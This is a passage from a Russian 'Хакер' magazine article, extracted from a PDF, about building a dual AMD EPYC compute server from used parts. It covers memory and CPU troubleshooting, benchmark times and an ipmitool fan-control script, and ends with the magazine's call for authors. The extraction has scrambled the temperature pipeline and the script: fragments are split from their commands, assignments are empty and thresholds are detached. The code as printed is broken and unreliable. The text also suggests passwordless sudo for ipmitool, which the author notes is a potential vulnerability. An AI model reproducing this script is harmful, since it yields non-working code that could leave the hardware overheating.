быть установлена в корпус от обычного компа, что нам и надо.

Материнская плата H11DSi-NT

КОРПУС

Тут всё как  в прошлый раз: выбираем корпус, в  который можно напихать
побольше вентиляторов. Я использовал вариант от DeepCool в минимальной
комплектации, все равно родные вертушки пойдут под замену. Штатные вен‐
тиляторы меняем на  140-е  76.5 CFM: все‑таки придется отводить
целых 400 Вт. Ставим три вертушки на вдув и три на выдув. В принципе, ком‐
пания  — изготовитель кулеров тут не  особо важна, главное  — произво‐
дительность, ну и чтобы проработали они подольше.

Само собой, необходимо предусмотреть возможность контроля обо‐
ротов. Идеальный вариант, конечно, взять серверный корпус, но  уж очень
много денег за них просят.

Корпус и кулеры, справа родные, слева те, что ставим

БЛОК ПИТАНИЯ

Блок питания берем с запасом, не самый навороченный, но и не дешман. Ему
предстоит работать подолгу. 1200  Вт для  такой машины  — это  примерно
двукратный запас по  мощности. Кроме того, не  стоит забывать, что у  платы
два дополнительных разъема питания процов.

Блок питания

ДИСКИ

В машине установлены четыре диска SSD M2 Samsung 980 Pro на  1  Тбайт
для системы. Еще есть серверный Western Digital Ultrastar DC SN640 U2 NVME
7,6 Тбайт, ранее он себя уже хорошо зарекомендовал в тяжелых задачах, да и
цена у  него вполне приемлемая на  вторичке. Ну и  два HDD по  4  Тбайт
для хранения данных.

SSD U2

ПАМЯТЬ

Это, пожалуй, самое больное место: для  наших целей памяти нужно много.
Оперативка на момент сборки этой конфигурации стоила немало, про сейчас
я вообще молчу. Поэтому брать приходится то, что лезет в бюджет. В итоге я
взял 16 планок 4DR LRDIMM 2400 МГц 64 Гбайт, итого 1 Тбайт оперативки —
внушительная цифра. Впрочем, если раскидать ее на  64  ядра, то выходит
по 16 Гбайт на ядро, что уже не так впечатляет.

В любом случае указанного объема памяти сегодня хватает на  любую
адекватную расчетную задачу. Проблема тут только одна: первое поколение
«Эпиков» такую память официально поддерживает, а вот во втором поддер‐
жки не заявлено. Но, забегая вперед, скажу, что все запустилось.

Половинный набор памяти

Память — это добрая половина стоимости машины!

СБОРКА И ЗАПУСК

Попытка первая
Желая избежать проблем, я заказал материнскую плату сразу с  процес‐
сорами. К несчастью, проблем мне это только добавило.

Материнская плата с процессорами

Продолжение статьи →
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ЭПИЧЕСКИЙ КОМП
СОБИРАЕМ СУПЕРКОМПЬЮТЕР

НА AMD EPYC ИЗ ПОДЕРЖАННЫХ
КОМПЛЕКТУЮЩИХ

GEEK  НАЧАЛО СТАТЬИ←

Через некоторое время в  два захода доехала память. Теперь можно было
собрать и  протестировать машину, что я, собственно, и  сделал. Компьютер
запустился, но  дальше начались приколы: сперва память завелась на  час‐
тоте 1600 МГц и при попытке поднять частоту все переставало работать. Лад‐
но, думаю, пусть так, а что там с быстродействием? Запускаем уже известный
нам тестовый расчет, смотрим.

i3-8100 4x3.60GHz 00:39:58
Ryzen 5500U 6x2.1GHz 00:31:24
i7-8700 6x3.2 GHz /8Gb DDR4 2666MHz /SATA HDD 0:30:18
dual Xeon X5650, 12x2.7GHz /144Gb DDR3 /ATA HDD 00:29:45
Xeon E5-2658v3 12x2.6GHz /32Gb DDR4 2133MHz /SATA HDD 00:23:15
i5-10600K, 6x4.5GHz /16Gb DDR4 /SDD   00:22:43
AMD Ryzen 7 3700X 8x3.6GHz   00:19:07
dual Intel Xeon E5-2680v2 10x3.6 GHz /64Gb DDR3 1066MHz /HDD 00:17:17
i9-10920x 12x3.5GHz /128Gb DDR4/M.2 SSD 00:14:40
dual Intel Xeon E5-2697v2 12x2.7GHz /256Gb DDR3 1600MHz /SATA HDD 0:
12:57
AMD Ryzen 9 5900X/32Gb/HDD 00:12:23
Xeon 2696v4 22x2.8GHz /512Gb DDR4 2400MHz /RAID0 M2 SSD 00:10:53
AMD Ryzen 9 5950X 16x3.4GHz /64Gb DDR4 /M.2 SSD 00:07:33
dual Intel Xeon E5-2690v4 14x3.2GHz /512Gb DDR4 2400MHz /NVME SSD 0:
07:24
Ryzen Threadripper 3970x, 32x3.7GHz /256Gb DDR4 3200MHz /SSD  0:05:32
---
Dual EPYC 7532 32x3.3GHz, 1024Gb DDR4 1600MHz, SSD samsung 980PRO M2 
0:3:51
---

Круто? Конечно, круто, быстродействие прямо на  зависть, но  есть один
нюанс. Тест‑то проходил, но  вот при  запуске более длительных расчетов
машина произвольно уходила в  перезагрузку, причем без  всяких ошибок
в логах. Это стало, прямо скажем, неприятным сюрпризом, поскольку делает
компьютер совершенно непригодным для работы.

Сначала я грешил на память: она и запустилась странно, и в списке под‐
держиваемой ее нет. Чтобы это  проверить, я взял из  другой машины офи‐
циально поддерживаемые планки 2R RDIMM DDR4 2400 МГц. Определились
они нормально, причем их даже можно было подразогнать. Однако быстро‐
действие в  тесте не  изменилось, что меня несколько удивило. Вылеты тоже
никуда не делись, значит, дело не в памяти.

Поиск в  интернете навел меня на  один из  форумов, где у  пользователя
возникла похожая проблема. Там в итоге пришли к выводу: причина перезаг‐
рузок  — баг в  процессоре. На  форуме писали, что существуют параметры
ядра, которые нейтрализуют ошибку. В моем случае это не помогло: быстро‐
действие просело процентов на 30, вылеты стали реже, но не прекратились
полностью. Что интересно, воспроизводится этот баг только на  тяжелых
вычислениях, когда и  проц нагружен на  100%, и  чтение из  памяти активное.
Простой стресс‑тест можно гонять часами, и  все будет окей, тест памяти
тоже ошибок не находит.

Чтобы выяснить, в каком из двух процессоров прячется ошибка, я решил
запустить машину в  однопроцессорном режиме. Тут выяснилось сразу две
вещи: ошибка в CPU1, а мой CPU2 — залоченный. Это неприятная приколюха
от AMD: залоченный камень работает только в двухпроцессорной конфигура‐
ции в роли ведомого. Хитрые китайцы своего не упустили.

Подумал я было прикупить еще  один EPYC 7532, но  за это  время он
подорожал примерно в три раза и в бюджет не вписывался никак. Оставлять
все как  есть тоже было нельзя: и  деньги серьезные потрачены, и  машина
в  строю нужна. В  итоге я воспользовался компромиссным вариантом: взял
два EPYC 7601, тем более этот проц к тому времени стоил недорого.

В такой конфигурации все заработало, но я лишился где‑то 30–40% быс‐
тродействия, и тест выполнялся примерно за пять с копейками минут. С этими
процессорами компьютер честно отработал полтора года в режиме 24/7.

Вот так вот это все выглядело

Попытка вторая
Но лежащие в  коробочке незапустившиеся «Эпики» не  давали моей душе
покоя. И вот недавно у меня появилась возможность приобрести EPYC 7532,
можно сказать, на  сдачу от  очередной покупки, благо этот процессор опять
подешевел.

Напомню, что на тот момент компьютер был полностью работоспособным
и  видел всю доступную память. Останавливаю машину, снимаю кулеры,
вытираю термопасту, вытаскиваю «Эпики» первого поколения, устанавливаю
новоприобретенный и залоченный из старого набора (ну, так я тогда думал).
Включаю, не стартует.

Первый запуск, особенно после установки другого поколения процес‐
соров, может быть долгим. У  Supermicro H11DSi-NT, грубо говоря, два BIOS
(вернее, UEFI, но  даже на  сайте его называют BIOS): один для  первого
поколения процов, другой для второго. Выключаю, включаю, жду, долго жду —
ничего.

Ладно, думаю, наверное, опять дело в  памяти. Вынимаю  16  планок
LRDIMM 4DR, вставляю две заведомо рабочие и поддерживаемые RDIMM 2R.
Включаю  — машина запустилась, но  увидела только одну планку. Ну, эти
фокусы мне уже знакомы: беру ластик, натираю контакты на  той планке,
которую компьютер не  видит, продуваю разъем, вставляю  — запускается,
видит обе. Хорошо!

Вынимаю эти планки, вставляю две LRDIMM 4DR, включаю — запускается,
видит обе. И к моему удивлению, в этот раз даже на частоте 2400 МГц, очень
хорошо. Радуюсь, чешу репу, устанавливаю половинный набор памяти  —
восемь планок. Включаю — не запускается... Ругаюсь нехорошими словами,
вытаскиваю шесть планок, тру ластиком. Вставляю по  две, контролирую
запуск, продуваю разъемы, в случае чего снова тру ластиком. В итоге за три
часа удалось запустить 15 из 16 планок, последняя не желала работать ни в
какую.

Ладно, думаю, может, это  планка памяти неудачная, попробую из  другой
партии. Проверил, как  работает машина под  нагрузкой,  — и  опять вылет
с перезагрузкой. Где‑то на этом этапе пришло понимание, что старые процы
я попросту перепутал. Заменил процессор, после чего вылетов больше
не  случалось. Потом я приволок планку памяти из  домашней машины, и  —
о чудо! — все заработало.

Но на этом железячные проблемы не закончились, дальше всплыла такая
приколюха. Тест машина проходила успешно, и  вылетов больше не  наб‐
людалось. Но вот на длительных тяжелых расчетах один из процов сбрасывал
частоты до 400 МГц и не реагировал ни на какие политики установки частоты.

В отличие от «Зионов», которые энтузиасты перекопали вдоль и поперек,
про  «Эпики» информации относительно мало. Те, кто собирает подобного
рода машины, обычно заказывают процессоры у  поставщиков. Желающих
собрать ноду суперкомпьютера дома из б/у деталей не так много, поскольку
подобные машины решают очень специфические задачи, а с ними большинс‐
тво пользователей никогда в  жизни не  столкнется. Такое положение дел
добавляет ситуации драматизма: несмотря на  то что компоненты неновые,
они стоят приличных денег, и каждая допущенная ошибка влетает в копеечку.

Если верить опубликованной на  форумах информации, причиной подоб‐
ного поведения компьютера может быть ошибка в BIOS или перегрев. BIOS я
обновил — картина не изменилась. В итоге оказалось, что виноват действи‐
тельно перегрев, но не процов, а памяти или VRM-памяти, тут я источник неп‐
риятностей точно не  локализовал. Проблема решилась установкой допол‐
нительных кулеров на  подозрительные места. К  несчастью, специальные
кулеры для  RAM прикрутить получается не  везде, поэтому воткнул я их туда,
куда было возможно, в  остальных местах просто смонтировал дополнитель‐
ные вентиляторы.

А для усиления эффекта подкрутил управляющий кулерами скрипт: до это‐
го он отслеживал только температуру CPU1, как  самого горячего элемента
компьютера. Теперь он считывает все доступные температуры и ориентирует‐
ся на  самую высокую, таким образом, политика охлаждения стала более
агрессивной. И наконец‑то тротлинг прекратился.

ПРОФИЛИ СИСТЕМЫ ОХЛАЖДЕНИЯ

Пыль  — штука очень неприятная, особенно для  дорогостоящей компьютер‐
ной техники. Поэтому крайне полезно иметь возможность регулировать обо‐
роты кулеров. У  Supermicro H11DSi-NT нет штатных средств, позволяющих
динамически управлять кулерами, но  когда нас останавливали подобные
мелочи? Энтузиасты уже научились взаимодействовать с  вентиляторами
при помощи утилиты . На одном из форумов мне удалось выяснить,
что моя материнская плата поддерживает две группы кулеров, рулить которы‐
ми можно независимо через IPMI. Одна группа отвечает за охлаждение про‐
цессоров, а вторая — за корпусные вентиляторы. Задать скорость вращения
можно следующими командами для первой и второй групп соответственно:

ipmitool

$sudo ipmitool raw 0x30 0x70 0x66 0x01 0x00 OxXX
$sudo ipmitool raw 0x30 0x70 0x66 0x01 0x01 0xXX

Здесь  — шестнадцатеричная константа от   до  , которая задает

скорость вращения от  0  до  100. Что в  данном случае означает  0, зависит
от производителей кулеров, стандарт это не описывает. Некоторые вертушки
останавливаются полностью, некоторые крутят на  20% от  возможного мак‐
симума. Осталось узнать температуру, и  это тоже можно сделать через

:

0xXX 0x00 0x64

ipmitool

$sudo ipmitool sensors

Команда выдает целую портянку текста, содержащего в  том числе нужные
нам температуры. Теперь немного консольной магии, и  мы получаем
наибольшую температуру на плате.

|tr  |awk  
|awk  

temp=$(sudo ipmitool sensor|grep "degrees C" -d '|' -F' ' '{
print $3}'|sort -r -F',' 'NR==1 {print $1}')

Заклинание в целом не очень сложное:
 — выдает портянку текста;• sudo ipmitool sensor

 — находит строки, содержащие "degrees C";• grep "degrees C"
 — удаляет символы пайпа '|';• tr -d '|'

 — выводит значения температуры;• awk -F' ' '{print $3}
 — сортирует значения по убыванию;• sort -r

 — отбрасывает дробную часть.• awk -F',' 'NR==1 {print $1}'

А чтобы вся эта канитель не  просила пароля, нужно прописать 

 в  конфиг  (это потенциальная уязвимость!). В  итоге имеем вот

такой скриптик:

ipmitool
sensor sudo

#!/bin/zsh

30OLDPWM=
30PWM=

   2  if [ -e /tmp/old_pwm ]; then exit ; fi

   while [ true ]
do
#get temp

|tr  |awk  
|awk  

temp=$(sudo ipmitool sensor|grep "degrees C" -d '|' -F' ' '{
print $3}'|sort -r -F',' 'NR==1 {print $1}')

 echo $temp
#get old pwm

     if [ -e /tmp/old_pwm ]; then OLDPWM=$(head -1 /tmp/old_pwm); fi
#set new pwm

0x1ePWM=
    40  0x32  if [ $temp -ge ]; then PWM= ;fi #50
    45  0x46  if [ $temp -ge ]; then PWM= ;fi #70
    50  0x50  if [ $temp -ge ]; then PWM= ;fi #80
    55  0x5a  if [ $temp -ge ]; then PWM= ;fi #90
    60  0x64  if [ $temp -ge ]; then PWM= ;fi #100

#save new pwm as old
  echo $PWM > /tmp/old_pwm

#if $PWM != $OLDPWM send command to device
     if [[ $PWM != $OLDPWM ]]

then
sudo ipmitool raw 0x30 0x70 0x66 0x01 0x00 $PWM
sudo ipmitool raw 0x30 0x70 0x66 0x01 0x01 $PWM
fi

30sleep 
done

Добавляем проверку на  повторный запуск и  собственно термопрофиль,
готово. Прописываем в  :.zshrc

...
sudo ipmitool raw 0x30 0x70 0x66 0x01 0x00 0x40
sudo ipmitool raw 0x30 0x70 0x66 0x01 0x01 0x40
nohup /home/user/bin/temp_control.sh &

ИТОГОВАЯ КОНФИГУРАЦИЯ И БЫСТРОДЕЙСТВИЕ

В итоге я получил вот такую конфигурацию своего «суперкомпьютера»:

---
Dual EPYC 7532 32x3.2GHz, 1024Gb DDR4 2400MHz, SSD samsung 980PRO M2,
 ssd Western Digital Ultrastar DC SN640 NVMe 7.6Gb  0:3:41
---

В таком варианте система работает уже два месяца без нареканий. Я считаю,
что это успех.

Резюме: собирать HPC-сервер из  б/у деталей  — это  не игровую сборку
на  «Зионе» пилить. Сэкономить получается в  разы, но  успех гарантирован
только при наличии энтузиазма, прямых рук и определенной удачи. © X



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» всегда нужны новые авторы, и  ты можешь стать
одним из  них! Если тебе интересно то, о  чем мы пишем,
и есть желание исследовать эти темы вместе, не упусти воз‐
можность вступить в  ряды наших авторов и  получать за  это
все, что им причитается.

 Размер зависит от слож‐

ности и уникальности темы и объема проделанной работы (но не от объ‐
ема текста).

• Авторы получают денежное вознаграждение.

: каждая опубликованная статья

приносит месяц подписки и  значительно увеличивает личную скидку. Уже
после третьего раза подписка станет бесплатной навсегда.

• Наши авторы читают «Хакер» бесплатно

Кроме того, 

. Если ты студент или научный

сотрудник, . А еще мы пла‐
нируем запуск англоязычной версии, так что 

.

наличие публикаций — это  отличный способ показать

работодателю и коллегам, что ты в теме

публикация в журнале пригодится особенно

у тебя будет шанс быть

узнанным и за рубежом

И конечно, 

. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что‑то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

мы всегда указываем в  статьях имя или  псевдоним

автора

Я ТЕХНАРЬ, А НЕ ЖУРНАЛИСТ. ПОЛУЧИТСЯ ЛИ У МЕНЯ НАПИСАТЬ
СТАТЬЮ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему  — значит, и  написать сможешь. Не  умеешь  — поможем, будешь сом‐
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не  только правят буквы, но  и помогают с  темами
и  форматом и  «причесывают» авторский текст, если в  этом есть необ‐
ходимость. И конечно, перед публикацией мы согласуем с автором все прав‐
ки и вносим новые, если нужно.

КАК ПРИДУМАТЬ ТЕМУ?
Темы для  статей  — дело непростое, но  и не  такое сложное, как  может
показаться. Стоит начать, и  ты наверняка будешь придумывать темы одну
за другой!

Первым делом задай себе несколько простых вопросов:
 Час‐

тый случай: люди делают что‑то потрясающее, но  считают свое занятие
вполне обыденным. Если твои мама и  бабушка не  хотят слушать
про  реверс малвари, сборку ядра Linux, проектирование микропроцес‐
соров или хранение данных в ДНК, это не значит, что у  тебя не найдется
благодарных читателей.

• «Разбираюсь ли я в чем‑то, что может заинтересовать других?»

 Если ты

ресерчишь, багхантишь, решаешь crackme или  задачки на  CTF, если ты
разрабатываешь что‑то необычное или  даже просто настроил себе
какую‑то удобную штуковину, обязательно расскажи нам! Мы вместе при‐
думаем, как лучше подать твои наработки.

• «Были ли у меня в последнее время интересные проекты?»

 Поп‐

робуй вспомнить: если ты буквально недавно рассказывал кому‑то
о чем‑то очень важном или захватывающем (и связанном с ИБ или ИТ), то
с  немалой вероятностью это  может быть неплохой темой для  статьи.
Или как минимум натолкнет тебя на тему.

• «Знаю ли я какую‑то историю, которая кажется мне крутой?»

 Если мы
о  чем‑то не  писали, это  могло быть не  умышленно. Возможно, просто
никому не  пришла в  голову эта тема или  не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под‐
кинуть нам идею все равно можно.

• «Не подмечал ли я, что в Хакере упустили что‑то важное?»

Уговорили, каков план действий?
1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем

ее кому‑то читать. Обычно достаточно рабочего заголовка и  нескольких
предложений (pro tip: их потом можно пустить на введение).

3.  и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и  написать пару
слов о себе.

Выбираешь редактора

4. С редактором согласуете детали и сроки сдачи черновика. Также он выда‐
ет тебе правила оформления и отвечает на твои вопросы.

5. Пишешь статью в срок и отправляешь ее. Если возникают какие‑то проб‐
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.

6. Редактор читает статью, принимает ее или  возвращает с  просьбой
доработать и руководством к действию.

7. Перед публикацией получаешь версию с  правками и  обсуждаешь их
с редактором (или просто даешь добро).

8. Дожидаешься выхода статьи и поступления вознаграждения.

TL;DR
Если готов публиковаться в  «Хакере», придумай тему для  первой статьи
и предложи .редакции
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